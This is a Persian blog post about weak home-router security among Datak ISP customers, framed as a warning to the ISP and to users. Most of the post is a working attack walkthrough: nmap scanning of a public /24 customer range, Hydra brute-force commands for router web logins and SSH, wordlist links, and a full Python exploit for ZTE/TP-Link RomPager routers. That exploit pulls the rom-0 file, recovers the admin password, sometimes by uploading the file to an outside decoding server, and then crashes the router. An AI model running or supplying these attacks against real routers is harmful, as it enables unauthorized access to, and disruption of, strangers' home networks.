بعد مدتها عید فرصت خوبی ایجاد کرد که بالاخره دستی به وبلاگ بزنم و چه موضوعی بهتر از موضوع اسفناک مشتری ispهای ایران…
سالهاست که خودم کاربر داتک هستم و روز به روز شاهد افت کیفیت این شرکت ارائه دهندهی اینترنت بودم که حالا مشکلات امنیتی هم به اون اضافه شد.
هر کاربر متصل به اینترنت یک ip ولید توی اینترنت داره که برای بدست اوردنش کافیه توی گوگل سرچ بزنید what is my ip.
اگه فرض کنیم ایپی من در اینترنت 176.46.136.128 باشه ، با تقریب خوبی میشه گفت که آیپیهای در رنج 176.46.136.1/24 همهگی مشتریهای داتک هستن. حالا کافیه بیاییم چک کنیم چه مقدار از این آیپیها پورت ۸۰ شون بازه. برای اینکار از برنامه nmap استفاده میکنیم.
1 2 3 4 5 |
nmap –p 80 –T4 –A –v 176.46.136.1/24 Discovered open port 80/tcp on 176.46.136.8 Discovered open port 80/tcp on 176.46.136.6 Discovered open port 80/tcp on 176.46.136.2 |
این لیست، کاربرایی رو شامل میشه که صفحهی اصلی روترشون توسط مرورگر قابل مشاهده است. مگه اینکه پورت ۸۰ شون رو از طریق nat انتقال داده باشن به وبسرور داخلی. وقتی این آیپیها رو توی مرورگر وارد کنید فرم یوزر و پسورد براتون ظاهر میشه. مهاجم در سادهترین حالت با یوزر و پسورد پیشفرض admin میتونه وارد تنظیمات روتر بشه.
اما در مورد روترهایی که پسورد پیشفرض اونها admin نیست، یک روش استفاده از brute force با استفاده از برنامهی Hydra است. این برنامه میتونه با استفاده از یک دیکشنری، دونه، دونه پسوردها رو با سرعت خیلی زیادی تست کنه.
1 |
hydra –l admin –P 500–worst–passwords.txt 176.46.136.128 http–head –V |
با کامند بالا، برنامه هیدرا به سرعت ۵۰۰ تا از بدترین پسوردهایی که کاربرا خیلی علاقه به انتخابشون رو دارن با یوزر admin به روش سعی و خطا تست میکنه و نتیجه کار رو بهتون میگه. طبیعیه که اگه لیست پسوردا خیلی طولانی باشه زمان اینکار هم بیشتر میشه (احتمالا).
در صورتیکه لیستی از یوزر رو میخواید به برنامهی هیدرا بدید، هم کافیه با آپشن L اینکار رو انجام بدید.
برای پیدا کردن یوزر و پسورد در حالت ssh هم به شکل زیر از برنامه استفاده کنید.
1 |
hydra –l newuser –P pass.txt –V 192.168.1.182 ssh |
لیستی از دیکشنریهای معروف رو هم میتونید از اینجاها بگیرید.
http://trac.kismac-ng.org/wiki/wordlists
http://www.room362.com/projects/hugelist.txt
https://wiki.skullsecurity.org/Passwords
اما موضوعی که هست وجود یک exploit یا به عبارتی حفره در مودمهای TP-Link که باعث میشه فرد مهاجم به راحتی بتونه هر پسوردی رو که ست کرده باشید در بیاره.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 205 206 207 208 209 210 211 212 213 214 215 216 217 218 219 220 221 222 223 224 225 226 227 228 229 230 231 232 233 234 235 236 237 238 239 240 241 242 243 244 245 246 247 248 249 250 251 252 253 254 255 256 257 258 259 260 261 262 263 264 265 266 267 268 269 270 271 272 273 274 275 276 277 278 279 280 281 282 283 284 285 286 287 288 289 290 291 292 293 294 295 296 297 298 299 300 301 302 303 304 305 306 307 308 309 310 311 312 313 314 315 316 317 318 319 320 321 322 323 324 325 326 327 328 329 330 331 332 333 334 335 336 337 338 339 340 341 342 343 344 345 346 347 348 349 350 351 352 353 354 355 356 357 358 359 360 |
#!/usr/bin/env python # -*- coding: utf-8 -*- # Exploit Title: ZTE and TP-Link RomPager DoS Exploit # Date: 10-05-2014 # Server Version: RomPager/4.07 UPnP/1.0 # Tested Routers: ZTE ZXV10 W300 # TP-Link TD-W8901G # TP-Link TD-W8101G # TP-Link TD-8840G # Firmware: FwVer:3.11.2.175_TC3086 HwVer:T14.F7_5.0 # Tested on: Kali Linux x86 # # Notes: Please note this exploit may contain errors, and # is provided “as it is”. There is no guarantee # that it will work on your target router(s), as # the code may have to be adapted. # This is to avoid script kiddie abuse as well. # # Disclaimer: This proof of concept is strictly for research, educational or ethical (legal) purposes only. # Author takes no responsibility for any kind of damage you cause. # # Exploit Author: Osanda Malith Jayathissa (@OsandaMalith) # Dedicate to Nick Knight and Hood3dRob1n # # ./dos.py -i 192.168.1.1 import os import re import sys import time import urllib import base64 import httplib import urllib2 import requests import optparse import telnetlib import subprocess import collections import unicodedata class BitReader: def __init__(self, bytes): self._bits = collections.deque() for byte in bytes: byte = ord(byte) for n in xrange(8): self._bits.append(bool((byte >> (7–n)) & 1)) def getBit(self): return self._bits.popleft() def getBits(self, num): res = 0 for i in xrange(num): res += self.getBit() << num–1–i return res def getByte(self): return self.getBits(8) def __len__(self): return len(self._bits) class RingList: def __init__(self, length): self.__data__ = collections.deque() self.__full__ = False self.__max__ = length def append(self, x): if self.__full__: self.__data__.popleft() self.__data__.append(x) if self.size() == self.__max__: self.__full__ = True def get(self): return self.__data__ def size(self): return len(self.__data__) def maxsize(self): return self.__max__ def __getitem__(self, n): if n >= self.size(): return None return self.__data__[n] def filter_non_printable(str): return ”.join([c for c in str if ord(c) > 31 or ord(c) == 9]) def banner(): return ”’ \t\t _/_/_/ _/_/_/ \t\t _/ _/ _/_/ _/ \t\t _/ _/ _/ _/ _/_/ \t\t _/ _/ _/ _/ _/ \t\t_/_/_/ _/_/ _/_/_/ ”’ def dos(host, password): while (1): url = ‘http://’ +host+ ‘/Forms/tools_test_1’ parameters = { ‘Test_PVC’ : ‘PVC0’, ‘PingIPAddr’ : ‘\101’*2000, ‘pingflag’ : ‘1’, ‘trace_open_flag’ : ‘0’, ‘InfoDisplay’ : ‘+-+Info+-%0D%0A’ } params = urllib.urlencode(parameters) req = urllib2.Request(url, params) base64string = base64.encodestring(‘%s:%s’ % (‘admin’, password)).replace(‘\n’, ”) req.add_header(“Authorization”, “Basic %s” %base64string) req.add_header(“Content-type”, “application/x-www-form-urlencoded”) req.add_header(“Referer”, “http://” +host+ “/maintenance/tools_test.htm”) try: print ‘[~] Sending Payload’ response = urllib2.urlopen(req, timeout=1) sys.exit(0) except: flag = checkHost(host) if flag == 0: print ‘[+] The host is still up and running’ else: print ‘[~] Success! The host is down’ sys.exit(0) break def checkHost(host): if sys.platform == ‘win32’: c = “ping -n 2 “ + host else: c = “ping -c 2 “ + host try: x = subprocess.check_call(c, shell=True, stdout=subprocess.PIPE, stderr=subprocess.STDOUT) time.sleep(1) return x except: pass def checkServer(host): connexion = httplib.HTTPConnection(host) connexion.request(“GET”, “/status.html”) response = connexion.getresponse() server = response.getheader(“server”) connexion.close() time.sleep(2) if server == ‘RomPager/4.07 UPnP/1.0’: return 0 else: return 1 def checkPassword(host): print ‘[+] Checking for default password’ defaultpass = ‘admin’ tn = telnetlib.Telnet(host, 23, 4) tn.read_until(“Password: “) tn.write(defaultpass + ‘\n’) time.sleep(2) banner = tn.read_eager() banner = regex(len(defaultpass)*r‘.’+‘\w+’ , banner) tn.write(“exit\n”) tn.close() time.sleep(4) if banner == ‘Copyright’: print ‘[+] Default password is being used’ dos(host, defaultpass) else: print ‘[!] Default Password is not being used’ while True: msg = str(raw_input(‘[?] Decrypt the rom-0 file locally? ‘)).lower() try: if msg[0] == ‘y’: password = decodePasswordLocal(host) print ‘[*] Router password is: ‘ +password dos(host, password) break if msg[0] == ‘n’: password = decodePasswordRemote(host) print ‘[*] Router password is: ‘ +password dos(host, password) break else: print ‘[!] Enter a valid choice’ except Exception, e: print e continue def decodePasswordRemote(host): fname = ‘rom-0’ if os.path.isfile(fname) == True: os.remove(fname) urllib.urlretrieve (“http://”+host+“/rom-0”, fname) # If this URL goes down you might have to find one and change this function. # You can also use the local decoder. It might have few errors in getting output. url = ‘http://198.61.167.113/zynos/decoded.php’ # Target URL files = {‘uploadedfile’: open(‘rom-0’, ‘rb’) } # The rom-0 file we wanna upload data = {‘MAX_FILE_SIZE’: 1000000, ‘submit’: ‘Upload rom-0’} # Additional Parameters we need to include headers = { ‘User-agent’ : ‘Python Demo Agent v1’ } # Any additional Headers you want to send or include res = requests.post(url, files=files, data=data, headers=headers, allow_redirects=True, timeout=30.0, verify=False ) res1 =res.content p = re.search(‘rows=10>(.*)’, res1) if p: passwd = found = p.group(1) else: password = ‘NotFound’ return passwd def decodePasswordLocal(host): # Sometimes this might output a wrong password while finding the exact string. # print the result as mentioned below and manually find out fname = ‘rom-0’ if os.path.isfile(fname) == True: os.remove(fname) urllib.urlretrieve (“http://”+host+“/rom-0”, fname) fpos=8568 fend=8788 fhandle=file(‘rom-0’) fhandle.seek(fpos) chunk=“*” amount=221 while fpos < fend: if fend–fpos < amount: amount = amount data = fhandle.read(amount) fpos += len(data) reader = BitReader(data) result = ” window = RingList(2048) while True: bit = reader.getBit() if not bit: char = reader.getByte() result += chr(char) window.append(char) else: bit = reader.getBit() if bit: offset = reader.getBits(7) if offset == 0: break else: offset = reader.getBits(11) lenField = reader.getBits(2) if lenField < 3: lenght = lenField + 2 else: lenField <<= 2 lenField += reader.getBits(2) if lenField < 15: lenght = (lenField & 0x0f) + 5 else: lenCounter = 0 lenField = reader.getBits(4) while lenField == 15: lenField = reader.getBits(4) lenCounter += 1 lenght = 15*lenCounter + 8 + lenField for i in xrange(lenght): char = window[–offset] result += chr(char) window.append(char) result = filter_non_printable(result).decode(‘unicode_escape’).encode(‘ascii’,‘ignore’) # In case the password you see is wrong while filtering, manually print it from here and findout. #print result if ‘TP-LINK’ in result: result = ”.join(result.split()).split(‘TP-LINK’, 1)[0] + ‘TP-LINK’; result = result.replace(“TP-LINK”, “”) result = result[1:] if ‘ZTE’ in result: result = ”.join(result.split()).split(‘ZTE’, 1)[0] + ‘ZTE’; result = result.replace(“ZTE”, “”) result = result[1:] if ‘tc160’ in result: result = ”.join(result.split()).split(‘tc160’, 1)[0] + ‘tc160’; result = result.replace(“tc160”, “”) result = result[1:] return result def regex(path, text): match = re.search(path, text) if match: return match.group() else: return None def main(): if sys.platform == ‘win32’: os.system(‘cls’) else: os.system(‘clear’) try: print banner() print ”’ |=——–=[ ZTE and TP-Link RomPager Denial of Service Exploit ]=——-=|\n [*] Author: Osanda Malith Jayathissa [*] Follow @OsandaMalith [!] Disclaimer: This proof of concept is strictly for research, educational or ethical (legal) purposes only. [!] Author takes no responsibility for any kind of damage you cause. ”’ parser = optparse.OptionParser(“usage: %prog -i <IP Address> “) parser.add_option(‘-i’, dest=‘host’, type=‘string’, help=‘Specify the IP to attack’) (options, args) = parser.parse_args() if options.host is None: parser.print_help() exit(–1) host = options.host x = checkHost(host) if x == 0: print ‘[+] The host is up and running’ server = checkServer(host) if server == 0: checkPassword(host) else: print (‘[!] Sorry the router is not running RomPager’) else: print ‘[!] The host is not up and running’ sys.exit(0) except KeyboardInterrupt: print ‘[!] Ctrl + C detected\n[!] Exiting’ sys.exit(0) except EOFError: print ‘[!] Ctrl + D detected\n[!] Exiting’ sys.exit(0) if __name__ == “__main__”: main() #EOF |
اسکریپت کارش اینه که بعد از بدست آوردن پسورد، روتر رو از کار میندازه و در اصل اون رو ریست میده! ولی خب بعد از روئیت پسورد خیلی راحت میشه از برنامه خارج شد تا روتر ریست نشه.
1 |
./dos.py –i 176.46.136.215 |
با اجرا کامند بالا همچین خروجی رو خواهیم داشت. دقت کنید در هنگامی که اسکریپت به سوال Decrypt the rom-0 file locally میرسه، y رو تایپ کنید تا پسورد رو در بیاره براتون. و بعد هم کافیه Ctrl + c رو بزنید تا از برنامه خارج شید.
و خب همهی اینا رو گفتم که بدونید وضعیت چقدر داغونه. داتک فخیمه میتونه با یک فایروال خیلی ساده، پورت ۸۰ رو ببنده، همونطور که پورت ۸۰۸۰ رو الان بسته (احتمالا بخاطر وجود backdoor که روی این مودمها و روی این پورت وجود داره) ! و البته خود کاربرا هم میتونن کلا دسترسی به روتر از طریق وب رو کاملا مسدود کنن که این امر نیاز به آگاهرسانی اونها داره.
دیدگاهتان را بنویسید